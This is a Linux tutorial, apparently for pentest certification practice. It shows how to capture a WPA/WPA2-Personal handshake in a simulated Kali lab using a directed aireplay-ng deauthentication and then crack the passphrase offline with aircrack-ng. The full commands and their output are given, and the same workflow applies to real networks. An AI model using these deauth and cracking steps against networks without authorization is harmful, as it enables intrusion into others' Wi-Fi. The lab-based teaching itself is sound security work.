How to Capture and Crack a WPA/WPA2 WiFi Handshake

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package aircrack-ng 1:1.7+git20230807.4bf83f1a-3, hostapd 2:2.10-25+b2, wpasupplicant 2:2.10-25+b2, iw 6.17-1
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003: wireless handshake capture and offline PSK testing
Privilege sudo for module load, hostapd, monitor mode, and Aircrack tools
Scope WPA/WPA2-Personal four-way handshake capture (passive and directed deauth), EAPOL verification, and offline dictionary testing with Aircrack-ng. Not WPA2-Enterprise, not WPA3 cracking, not evil-twin/captive-portal attacks.
Related guides Evil twin Wi-Fi attack
WPA2 Wi-Fi honeypot
Short on time?Beta Get the gist of this 15-minute read in seconds, then ask follow-up questions

For WPA/WPA2-Personal, you capture the traffic that appears when a client joins an access point, then test candidate passphrases offline with Aircrack-ng. That capture does not contain the Wi-Fi password in plaintext. Aircrack derives WPA key material from each candidate passphrase and the network name (SSID), then checks whether that candidate matches the authentication data in the captured handshake. If the password is not in your list, the tool will not invent it.

This tutorial builds an isolated software Wi-Fi network with mac80211_hwsim, hostapd, and wpa_supplicant on one Kali host. You can follow every step without a USB adapter.

Capture workflow:

  1. Create the WPA2-Personal AP and client
  2. Put the third radio in monitor mode
  3. Find the BSSID, channel, and station
  4. Start packet capture with airodump-ng
  5. Wait for reconnect or trigger one directed deauth
  6. Verify EAPOL handshake frames
  7. Test candidate PSKs with Aircrack-ng
IMPORTANT
Run these steps only on networks you own or are authorized to test. Keep the lab on simulated radios (or a dedicated lab SSID). Unauthorized wireless attacks are illegal. See rules of engagement.

How WPA/WPA2 handshake cracking works

An access point (AP) is the Wi-Fi radio that broadcasts the network name and lets clients join. On a home router that is the built-in Wi-Fi. In this lab, hostapd on wlan0 is the AP.

A client (also called a station) is the device that joins that network. Here it is wpa_supplicant on wlan1.

WPA/WPA2-Personal uses a shared passphrase (PSK). When a client joins, the AP and client run a four-way handshake. Both sides prove they know the same PSK without sending that passphrase as cleartext.

text
SSID + PSK
    → key derivation
    → WPA2 authentication (four-way handshake)
    → capture EAPOL frames
    → candidate PSK
    → Aircrack verifies candidate against capture

What that means in practice:

  • The password is not sent over the air as readable text
  • A valid WPA/WPA2 handshake capture gives an offline tool enough authentication material to test candidate PSKs. Capturing Messages 1-4 from the same authentication exchange is the clearest lab evidence that you recorded the full exchange
  • This page is for WPA/WPA2-Personal (AUTH=PSK in airodump-ng), not Enterprise (MGT)
Term Meaning
AP (access point) Wi-Fi radio that advertises the network and accepts clients (hostapd on wlan0 here)
ESSID Network name shown to users (GLC-WiFi here)
BSSID MAC address of that AP radio
Station / client Device joining the AP (wpa_supplicant on wlan1 here)
Channel Radio channel both sides use (lab uses 6)
AUTH Personal (PSK) or Enterprise (MGT)
EAPOL Frames used while WPA/WPA2 sets up keys during the handshake

Build the software Wi-Fi lab

You want a reproducible AP, client, and monitor on one Kali VM so you can practice the handshake path without buying a USB adapter.

Create a working directory:

bash
mkdir -p ~/wifi-handshake-lab

Load three simulated radios:

bash
sudo modprobe mac80211_hwsim radios=3

List the interfaces:

bash
iw dev | grep -E 'phy#|Interface|addr|type'
output
phy#14
	Interface wlan2
		addr 02:00:00:00:02:00
		type managed
phy#13
	Interface wlan1
		addr 02:00:00:00:01:00
		type managed
phy#12
	Interface wlan0
		addr 02:00:00:00:00:00
		type managed

Map them like this:

  • wlan0: legitimate AP (hostapd)
  • wlan1: victim client (wpa_supplicant)
  • wlan2: attacker monitor (airodump-ng / aireplay-ng)

Stop NetworkManager from grabbing the simulated cards:

bash
for i in wlan0 wlan1 wlan2; do sudo nmcli device set "$i" managed no; done

If hostapd is missing, install it with sudo apt install hostapd. Aircrack tools are usually already present. If airmon-ng is missing, see install airmon-ng on Kali.

Create the access point

Write a small hostapd config with a known lab PSK (GLCwifi2026). That password is easy to find in a tiny wordlist on purpose so the article can show a hit. Real networks often use harder passphrases.

bash
cat > ~/wifi-handshake-lab/hostapd-glc.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=GLCwifi2026
EOF

The lines that matter for security:

  • wpa=2: WPA2
  • wpa_key_mgmt=WPA-PSK: personal PSK
  • rsn_pairwise=CCMP: AES-CCMP
  • wpa_passphrase: lab shared key

Bring the AP interface up, then start hostapd in the background:

bash
sudo ip link set wlan0 up

Start the AP daemon:

bash
sudo hostapd -B ~/wifi-handshake-lab/hostapd-glc.conf

Confirm the AP is live:

bash
iw dev wlan0 info
output
Interface wlan0
	ifindex 65
	wdev 0xc00000001
	addr 02:00:00:00:00:00
	ssid GLC-WiFi
	type AP
	wiphy 12
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
	txpower 30.00 dBm

type AP, ssid GLC-WiFi, and channel 6 mean the simulated access point is ready. Copy the BSSID (addr) for later commands.

Connect the client

Create a matching wpa_supplicant config:

bash
cat > ~/wifi-handshake-lab/wpa-client.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-WiFi"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
}
EOF

Bring wlan1 up, then start the client:

bash
sudo ip link set wlan1 up

wlan1 should be UP before wpa_supplicant binds to it. Start the client and log to a file:

bash
sudo wpa_supplicant -B -i wlan1 -c ~/wifi-handshake-lab/wpa-client.conf -f ~/wifi-handshake-lab/wpa.log

Wait a few seconds, then confirm association:

bash
grep CTRL-EVENT-CONNECTED ~/wifi-handshake-lab/wpa.log
output
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]

Ask the AP which station it sees:

bash
sudo iw wlan0 station dump
output
Station 02:00:00:00:01:00 (on wlan0)
	authorized:	yes
	authenticated:	yes
	associated:	yes
	preamble:	short
	WMM/WME:	no
	MFP:		no
	TDLS peer:	no
	inactive time:	24420 ms
	rx bytes:	397
	rx packets:	4
	tx bytes:	409

authorized: yes plus CTRL-EVENT-CONNECTED means you already have a working WPA2 session before Aircrack enters the picture.


Find the WPA2 network and enable monitor mode

Put the attacker radio in monitor mode

Managed mode is what a normal station uses. Monitor mode lets you see raw 802.11 frames on a channel.

bash
sudo ip link set wlan2 down

down is required before changing the interface type. Switch to monitor:

bash
sudo iw dev wlan2 set type monitor

Bring the monitor interface back up:

bash
sudo ip link set wlan2 up

Lock it to the AP channel so you do not miss frames:

bash
sudo iw dev wlan2 set channel 6

Confirm monitor mode on channel 6:

bash
iw dev wlan2 info
output
Interface wlan2
	ifindex 67
	wdev 0xe00000001
	addr 02:00:00:00:02:00
	type monitor
	wiphy 14
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
	txpower 30.00 dBm

type monitor is the state you want. On a physical USB adapter you often use airmon-ng. That adapter must support monitor mode, and injection needs extra capability.

Quick injection check against the lab BSSID:

bash
sudo aireplay-ng -9 -a 02:00:00:00:00:00 wlan2
output
00:01:27  Trying directed probe requests...
00:01:27  02:00:00:00:00:00 - channel: 6 - 'GLC-WiFi'
00:01:27  30/30: 100%

Find the BSSID, channel, and station

Export the BSSID once so later commands stay readable:

bash
export BSSID=$(iw dev wlan0 info | awk '/addr/{print $2; exit}')

Pull the associated station MAC from the AP:

bash
export STA=$(sudo iw wlan0 station dump | awk '/Station/{print $2; exit}')

Confirm both values before you paste them into tools:

bash
echo "BSSID=$BSSID STA=$STA"
output
BSSID=02:00:00:00:00:00 STA=02:00:00:00:01:00

Run a short targeted dump to CSV (cleaner than pasting the full-screen UI into an article):

bash
sudo timeout 8 airodump-ng --band bg -c 6 --bssid "$BSSID" -w ~/wifi-handshake-lab/airodump-live --output-format csv wlan2

timeout ends the capture after eight seconds.

Confirm PSK vs Enterprise

Print the header and AP row from the CSV you just wrote:

bash
head -5 ~/wifi-handshake-lab/airodump-live-01.csv
output
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
02:00:00:00:00:00, 2026-09-05 00:01:40, 2026-09-05 00:01:48,  6,  54, WPA2, CCMP, PSK, -18,       78,        0,   0.  0.  0.  0,   8, GLC-WiFi,

On the AP data line, Authentication is PSK. That is Personal. Continue with this tutorial.

Confirm with grep:

bash
grep -E ', PSK,' ~/wifi-handshake-lab/airodump-live-01.csv
output
02:00:00:00:00:00, 2026-09-05 00:01:40, 2026-09-05 00:01:48,  6,  54, WPA2, CCMP, PSK, -18,       78,        0,   0.  0.  0.  0,   8, GLC-WiFi,

Check that Enterprise is not what you have. Empty output is what you want here:

bash
grep -E ', MGT,' ~/wifi-handshake-lab/airodump-live-01.csv

If grep prints an AP row with MGT, stop. That network is Enterprise / 802.1X, not this shared-PSK dictionary path.


Capture the WPA2 handshake

The main capture tool in this article is airodump-ng --write. That matches the usual Aircrack-ng workflow and writes a .cap file you can hand straight to Aircrack. You can use tcpdump later if you want a conventional pcap for Wireshark-only analysis.

Passive capture

You do not need deauthentication just to prove handshake capture. Start airodump-ng first, then make the client authenticate while the write is running.

In Terminal 1, start a targeted write on the monitor interface:

bash
sudo airodump-ng --bssid "$BSSID" --channel 6 --write ~/wifi-handshake-lab/handshake-passive wlan2

Leave that running. In Terminal 2, disconnect and reconnect the lab client so a fresh handshake happens:

bash
sudo wpa_cli -i wlan1 disconnect

disconnect drops the association. Reconnect while Terminal 1 is still writing:

bash
sudo wpa_cli -i wlan1 reconnect

Wait several seconds, then stop airodump-ng in Terminal 1 with Ctrl+C. The capture file is ~/wifi-handshake-lab/handshake-passive-01.cap.

Verify EAPOL Messages 1-4 from that passive file:

bash
tshark -r ~/wifi-handshake-lab/handshake-passive-01.cap -Y eapol -T fields -e frame.number -e _ws.col.Info
output
8	Key (Message 1 of 4)
9	Key (Message 2 of 4)
10	Key (Message 3 of 4)
11	Key (Message 4 of 4)

Ask Aircrack whether the passive file looks usable:

bash
aircrack-ng ~/wifi-handshake-lab/handshake-passive-01.cap
output
   1  02:00:00:00:00:00  GLC-WiFi                  WPA (1 handshake)

1 potential targets

Please specify a dictionary (option -w).

WPA (1 handshake) means the passive reconnect produced usable material. You can crack this file the same way as the deauth capture later. The next subsection forces a new handshake when the client is already associated and you need it to authenticate again.

Directed deauthentication

Use deauth when a client is already associated and you need it to authenticate again. Prefer a directed frame to the lab station. Do not flood broadcast deauths for a controlled test.

In Terminal 1, start a new airodump-ng write (different prefix so you do not overwrite the passive file):

bash
sudo airodump-ng --bssid "$BSSID" --channel 6 --write ~/wifi-handshake-lab/handshake wlan2

In Terminal 2, send three directed deauth bursts:

bash
sudo aireplay-ng -0 3 -a "$BSSID" -c "$STA" wlan2
output
00:00:47  Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:00:47  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:00:48  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:00:49  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]

On mac80211_hwsim, ACK counts may stay 0. That is normal for this simulator. Wait for the client to reconnect, then stop airodump-ng. The file is ~/wifi-handshake-lab/handshake-01.cap.

Confirm reconnection

Check the victim log for disconnect and a new connect:

bash
grep CTRL-EVENT ~/wifi-handshake-lab/wpa.log | tail -8
output
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=3 locally_generated=1
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]

reason=7 matches the deauthentication class from the directed attack. A new CTRL-EVENT-CONNECTED plus EAPOL Messages 1-4 in the capture is the chain you want before cracking.

Optional: capture with tcpdump instead

If you already know the channel and only want a conventional pcap for Wireshark, you can write with tcpdump on the same monitor interface:

bash
sudo tcpdump -i wlan2 -n -s 0 -w ~/wifi-handshake-lab/alt.pcap

Trigger reconnect or deauth while that runs, then stop with Ctrl+C. Prefer airodump-ng --write for the main Aircrack path on this page.


Verify the WPA2 handshake

Do not trust only an on-screen WPA handshake: banner. Open the capture and list EAPOL key messages.

Check EAPOL in Tshark/Wireshark

Inspect the directed-deauth capture (use handshake-passive-01.cap if you stayed on the passive path):

bash
tshark -r ~/wifi-handshake-lab/handshake-01.cap -Y eapol -T fields -e frame.number -e _ws.col.Info
output
779	Key (Message 1 of 4)
780	Key (Message 2 of 4)
781	Key (Message 3 of 4)
782	Key (Message 4 of 4)

How to read that:

  • Message 1: AP → client
  • Message 2: client → AP
  • Message 3: AP → client
  • Message 4: client → AP

Messages 1-4 from the same authentication exchange are the clearest lab evidence. In the Wireshark GUI, open the same .cap and filter eapol.

Confirm Aircrack detects the handshake

Ask Aircrack whether the file looks usable:

bash
aircrack-ng ~/wifi-handshake-lab/handshake-01.cap
output
   1  02:00:00:00:00:00  GLC-WiFi                  WPA (1 handshake)

1 potential targets

Please specify a dictionary (option -w).

WPA (1 handshake) means Aircrack sees enough EAPOL material to try candidates. Please specify a dictionary is normal until you pass -w. Mixed frames from different attempts can still confuse parsers, so prefer a clean capture on one BSSID and channel.


Crack the WPA2 PSK with Aircrack-ng

Successful dictionary match

Start with a small controlled wordlist so the result is easy to reproduce:

bash
printf '%s\n' 'wrongpassword' 'Password123' 'Summer2026' 'admin123' 'GLCwifi2026' 'letmein' > ~/wifi-handshake-lab/wordlist-hit.txt

Run Aircrack against the capture that contains the handshake:

bash
aircrack-ng -w ~/wifi-handshake-lab/wordlist-hit.txt -b 02:00:00:00:00:00 ~/wifi-handshake-lab/handshake-01.cap
output
[00:00:00] 6/6 keys tested (98.05 k/s)

KEY FOUND! [ GLCwifi2026 ]

That proves offline verification of the lab PSK. The passive file cracks the same way if you point -w at handshake-passive-01.cap instead.

What if Aircrack says KEY NOT FOUND?

Repeat with a list that omits the real PSK:

bash
printf '%s\n' 'wrongpassword' 'Password123' 'Summer2026' 'admin123' 'letmein' > ~/wifi-handshake-lab/wordlist-miss.txt

Crack again with that file:

bash
aircrack-ng -w ~/wifi-handshake-lab/wordlist-miss.txt -b 02:00:00:00:00:00 ~/wifi-handshake-lab/handshake-01.cap
output
[00:00:00] 5/5 keys tested (209.30 k/s)

KEY NOT FOUND

The handshake can still be valid. Here the same file already showed WPA (1 handshake). KEY NOT FOUND means the candidate was not in the list. A larger wordlist only means more candidates to try, not certainty. Targeted lists usually beat assuming rockyou.txt will magically contain the PSK. Prefer engagement-specific candidates, then expand. See the wordlist generator guide when you need generation workflows.

GPU cracking and hash-format conversion are separate topics. This page stays on Aircrack dictionary testing against a local capture.


Common capture and cracking problems

airodump does not show a WPA handshake

Check:

  • Capture started before the client authenticated
  • Correct BSSID and channel
  • Station actually associated (iw … station dump or the lower airodump table)
  • Monitor interface is up on that channel

0 handshakes or incomplete EAPOL

Inspect with tshark -Y eapol or Wireshark. Messages 1-4 from the same exchange are the clearest evidence. Beacons alone are not enough.

No valid WPA handshakes found

Possible causes:

  • Incomplete EAPOL exchange
  • Wrong file or empty capture
  • Frames mixed from multiple APs without --bssid
  • Capture started after authentication finished

Deauth sent but client stays connected

On hardware labs, check station MAC, BSSID, injection support, Protected Management Frames, and whether the client reconnects so quietly you miss it in the UI. On hwsim, confirm with wpa_supplicant logs as above.

Lab setup failures

Symptom Likely cause Fix
SCAN-FAILED / busy (-16) NetworkManager owning hwsim ifaces nmcli device set wlanX managed no
Client never connects AP down or wrong PSK/SSID Confirm iw dev wlan0 info and matching wpa_supplicant config
Capture has only beacons No auth during capture window Start airodump-ng first, then reconnect or deauth
Injection fails on USB NIC Adapter/driver lacks injection Use a known compatible chipset; keep learning on hwsim
KEY NOT FOUND after a full run Candidate missing from the list See What if Aircrack says KEY NOT FOUND?; keep the verified handshake

Scope notes: Enterprise and WPA3

Mode Spot it This Aircrack PSK workflow
WPA/WPA2-Personal AUTH = PSK Yes
WPA/WPA2-Enterprise AUTH = MGT No

WPA3-Personal uses SAE instead of WPA/WPA2's PSK authentication mechanism. A WPA3 connection still performs a four-way handshake afterward, but capturing that handshake does not enable the offline PSK dictionary workflow shown on this page. WPA3 also requires Protected Management Frames, which changes classic deauthentication behavior. This page does not cover WPA3 attacks.


mac80211_hwsim vs a real Wi-Fi adapter

mac80211_hwsim Physical adapter
Best for Reproducible teaching, no RF Real RF behavior
Needs USB Wi-Fi No Yes (monitor/injection capable)
Variables Minimal Drivers, regulatory domain, interference

Practice the full capture → EAPOL verify → crack chain in software first. Optionally repeat on authorized hardware later.


Summary

WPA/WPA2-Personal cracking here means offline testing of candidate PSKs against a captured handshake. The air never hands you the password in plaintext. On the Kali mac80211_hwsim lab, you bring up hostapd and wpa_supplicant, put a third radio in monitor mode, capture with airodump-ng during reconnect or after a directed deauth, confirm EAPOL Messages 1-4, then run Aircrack until KEY FOUND! [ GLCwifi2026 ].

Deauthentication only forces reauthentication. Passive capture works when you are already watching. KEY NOT FOUND after a complete dictionary run usually means a weak wordlist, not a bad capture. Leave enterprise, WPA3, PMKID, and rogue AP work to their own guides.


References


Frequently Asked Questions

Does a WPA handshake contain the Wi-Fi password?

No. It contains authentication material that lets an offline tool test whether a candidate passphrase is correct.

Can I capture a handshake without deauthentication?

Yes. Any time a client authenticates while you are capturing on the right channel and BSSID is enough. Deauth only forces that event sooner. This lab verified that path with handshake-passive-01.cap.

Why does Aircrack say KEY NOT FOUND?

Usually the correct PSK is not in the wordlist. The handshake can still be valid. See What if Aircrack says KEY NOT FOUND?.

Does this crack WPA3?

No. This lab is WPA/WPA2-Personal PSK testing. WPA3-Personal uses SAE, then still runs a four-way handshake, but that capture does not enable the offline PSK dictionary workflow shown here.

Do I need a USB Wi-Fi adapter for this tutorial?

No for the software lab. A physical adapter is optional later if you need real RF and monitor/injection hardware.

Is cracking WPA2 online?

The dictionary test is offline against a local capture. You do not need internet for Aircrack once the handshake file and wordlist are on disk.

How do I know the network is WPA2-Personal and not Enterprise?

After the airodump CSV exists, check Authentication with head / grep as in Confirm PSK vs Enterprise. PSK means Personal. MGT means Enterprise.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)